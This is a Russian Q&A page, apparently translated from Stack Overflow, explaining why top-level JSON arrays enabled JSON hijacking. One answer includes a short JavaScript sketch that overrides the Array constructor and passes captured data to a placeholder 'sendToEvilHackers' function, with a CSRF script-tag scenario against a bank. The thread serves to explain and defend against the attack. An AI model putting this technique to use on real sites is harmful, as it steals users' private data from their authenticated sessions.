Что такое «массивы JSON верхнего уровня» и почему они представляют угрозу безопасности? - PullRequest
66 голосов
/ 17 августа 2010

В видео ниже, во временном маркере 21:40, ведущий Microsoft PDC говорит, что важно, чтобы весь JSON был упакован, чтобы он не был массивом верхнего уровня:

https://channel9.msdn.com/Events/PDC/PDC09/FT12

Каков риск разворачивания массива верхнего уровня?

Как мне проверить и проверить, уязвим ли я?Я покупаю много компонентов у сторонних производителей и у меня есть сторонние поставщики, которые разрабатывают мой код.

Ответы [ 2 ]

40 голосов
/ 17 августа 2010

Это потому, что несколько лет назад Джеремия Гроссман обнаружил очень интересную уязвимость, которая влияет на gmail . Некоторые люди решили эту уязвимость, используя непарсируемый фракт (техническое описание мистера Бобинса на этой странице просто фантастическое.)

Причина, по которой Microsoft говорит об этом, заключается в том, что они еще не исправили свой браузер. ( Редактировать: В последних версиях Edge и IE 10/11 эта проблема решена.) Mozilla считает это уязвимостью в спецификации json и поэтому исправила ее в Firefox 3 . Для справки, я полностью согласен с Mozilla, и это прискорбно, но каждому разработчику веб-приложений придется защищать себя от этой очень неясной уязвимости.

12 голосов
/ 17 августа 2010

Я думаю, это потому, что конструктор Array () можно переопределить.Однако эта проблема на самом деле не уникальна для массивов.

Я думаю, что атака (или один из возможных способов) выглядит примерно так:

function Array(n) {
  var self = this;
  setTimeout(function() {
    sendToEvilHackers(self);
  }, 10);
  return this;
}

Браузер (или некоторые браузеры) используютэтот конструктор для [n, n, n] нотации массива.Поэтому атака CSRF может использовать вашу открытую сессию с вашим банком, ударить по известному URL-адресу JSON тегом <script>, чтобы извлечь его, а затем poof , которым вы владеете.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...